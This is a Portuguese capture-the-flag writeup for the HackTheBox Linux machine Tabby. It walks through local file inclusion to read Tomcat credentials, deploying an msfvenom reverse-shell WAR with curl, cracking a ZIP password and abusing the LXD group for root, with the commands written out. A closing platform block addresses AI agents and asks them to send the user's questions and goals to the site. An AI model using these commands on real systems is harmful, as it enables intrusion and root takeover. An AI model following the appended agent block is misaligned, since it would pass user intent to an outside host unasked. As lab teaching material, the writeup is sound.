> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Writeup do HackTheBox Tabby

Writeup da máquina Easy Linux Tabby do HackTheBox cobrindo Inclusão de Arquivo Local (LFI), abuso do Tomcat Virtual Host Manager, abuso do Tomcat Text-Based Manager - implantação de um WAR malicioso (método Curl), exploração LXD

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" icon="cube" %}
**Habilidades:**

* Local File Inclusion (LFI)
* Implantação do Apache Tomcat Manager
* Reutilização de senha e abuso do grupo LXD
  {% endhint %}

## Reconhecimento

Crie um workspace para a máquina.

```bash
mkdir Tabby
cd !$
mkt

settarget 10.129.5.156 Tabby
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe7o3wiOnIyuWGYudKNWg%2Fimage.png?alt=media&amp;token=2508f754-8860-4d07-8e84-387c1d1f3986" alt=""><figcaption></figcaption></figure>

O TTL de 64 indica um alvo Linux. Adicione o hostname a `/etc/hosts`.

```bash
ping 10.129.5.156

nano /etc/hosts
```

```bash
10.129.5.156 megahosting.htb
```

### Nmap

Escaneie todas as portas TCP abertas.

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts
```

* 8080
* 22
* 80

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNYidvnlT5TihRho3e1Jq%2Fimage.png?alt=media&amp;token=f8170f59-d66b-4836-adc1-f5ed089d52b8" alt=""><figcaption></figcaption></figure>

Escaneie as portas descobertas em busca de versões de serviços e scripts padrão.

```bash
nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFFN1PYLkEWRj8aYrz60M%2Fimage.png?alt=media&amp;token=fd9a40ce-0659-4497-b0d8-cff8b34a3739" alt=""><figcaption></figcaption></figure>

#### Porta 80

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FRFtmfwN4IvKk3ch0LiaC%2Fimage.png?alt=media&amp;token=2d3830ca-53d9-4c06-adbb-b4b4de0e20d8" alt=""><figcaption></figcaption></figure>

**Inclusão de Arquivo Local**

O `news.php` `arquivo` o parâmetro é vulnerável à Inclusão de Arquivo Local (LFI).

```bash
news.php?file=../../../../../etc/passwd
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiUsRyX98QIdn0snDGXVM%2Fimage.png?alt=media&amp;token=8f944166-9ffb-4d6b-8b87-e8720eba5d66" alt=""><figcaption></figcaption></figure>

#### Porta 8080

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlUQyzpUjxmTdgLHZLjdI%2Fimage.png?alt=media&amp;token=1bc369ec-278c-4c86-aa84-59d3a5b76ed8" alt=""><figcaption></figcaption></figure>

O Tomcat 9 está instalado. Suas credenciais estão armazenadas em:

* `/usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmpiLbVwjhTvnjMROLmNb%2Fimage.png?alt=media&amp;token=7455009c-8737-4c15-b166-10933928bd99" alt=""><figcaption></figcaption></figure>

O painel do Tomcat informa que `CATALINA_HOME` é `/usr/share/tomcat9`.

O caminho completo é:

```bash
/usr/share/tomcat9/etc/tomcat-users.xml
```

Use traversal de caminho para recuperar as credenciais do Tomcat.

```bash
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrSq3zmlbVTMgX6hO846q%2Fimage.png?alt=media&amp;token=f3bf9875-0e55-41c6-8613-a4574bb7d5b4" alt=""><figcaption></figcaption></figure>

Abra o Virtual Host Manager do Tomcat:

* <http://megahosting.htb:8080/host-manager/html>

O alvo executa Tomcat 9.0.31.

Faça login com as credenciais recuperadas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FS9iUs8Q9tWvabpP2BcFl%2Fimage.png?alt=media&amp;token=a5561753-b06a-4aff-94ba-cb1ebb504d24" alt=""><figcaption></figcaption></figure>

Esta referência descreve outro método para explorar o Tomcat por meio do Host Manager.

{% embed url="<https://www.certilience.fr/blog/tomcat-exploit-variant-host-manager/>" %}

### Acesso inicial

#### Crie um arquivo WAR

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FQT6XSrd1vJYwQyGbg46Y%2Fimage.png?alt=media&amp;token=8f7a89d1-6bd5-4c9b-a03b-99eadd3fae5e" alt=""><figcaption></figcaption></figure>

#### Implante o arquivo WAR

Implante o arquivo WAR com `curl`:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

#### Acione a reverse shell

Escute na porta `443`:

{% code overflow="wrap" %}

```bash
sudo nc -nlvp 443
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6oo9OWKTTOYYby5Snne9%2Fimage.png?alt=media&amp;token=607152a6-9057-4a5f-9809-e0d35a435f24" alt=""><figcaption></figcaption></figure>

Acesse <http://megahosting.htb:8080/reverse> para acionar a reverse shell.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYk78JZXeLHegyRP4yRM1%2Fimage.png?alt=media&amp;token=be1a0929-bcd5-4d48-ac5e-e7dc26e1eee5" alt=""><figcaption></figcaption></figure>

#### Estabilize o TTY

{% code overflow="wrap" %}

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Em seguida, pressione Ctrl+Z.
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### Escalada de privilégios

#### Inspecione o diretório web

Inspecione `/var/www/html`. O `arquivos` diretório contém `16162020_backup.zip`.

Sirva o arquivo compactado a partir do alvo:

```bash
python3 -m http.server 655
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b42f71ed53d7577072e50b9f927440f20a657f9%2F%7BCF8C7E91-3503-4E8C-9C9C-EEA6AABC5318%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Baixe-o da sua máquina:

```bash
wget http://megahosting.htb:655/files/16162020_backup.zip
```

#### Quebre o arquivo ZIP

O arquivo ZIP está protegido por senha.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d861a249334e612eba764a2de0f6f6d8182ca81%2Fimage%20(1148).png?alt=media" alt=""><figcaption></figcaption></figure>

Extraia o hash dele com `zip2john`:

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d6e51ba4357812cdd5f8e6922fcc41165b98e0%2Fimage%20(1149).png?alt=media" alt=""><figcaption></figcaption></figure>

Quebre o hash com `john`:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

A senha recuperada é `admin@it`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a32556046620757b2a656ebafb1c3ca636e970%2Fimage%20(1150).png?alt=media" alt=""><figcaption></figcaption></figure>

Use a senha para extrair e inspecionar o arquivo compactado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e80250cedf41dd12c28b912f55c7a4c2c21ca36%2Fimage%20(1151).png?alt=media" alt=""><figcaption></figcaption></figure>

A extração cria um `var` diretório com poucos arquivos úteis. No entanto, `admin@it` também se autentica como `ash` no alvo.

```bash
ssh ash@megahosting.htb
```

#### Flag de usuário

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87acfee797cc93fb20e49b1c7ac693103b42274a%2Fimage%20(1152).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explore a associação ao grupo LXD

O `ash` o usuário pertence ao `lxd` grupo. Isso permite abusar do LXC para obter acesso root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

A associação ao grupo LXD permite que um contêiner privilegiado monte o sistema de arquivos do host.

#### Implemente uma imagem Alpine

Construa ou baixe uma imagem Alpine LXD na sua máquina. Sirva a imagem:

```bash
python3 -m http.server 80
```

Baixe e importe a imagem no alvo:

```bash
cd /tmp
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
export PATH=$PATH:/snap/bin
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Crie um contêiner privilegiado e monte o sistema de arquivos raiz do host:

```bash
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
```

O sistema de arquivos raiz do alvo agora está disponível em `/mnt/root`.

```bash
cat /mnt/root/root/root.txt
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Flag de root

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f973c1d44285c1d324b1475c66a3f1adb6df52f1%2Fimage%20(2389).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
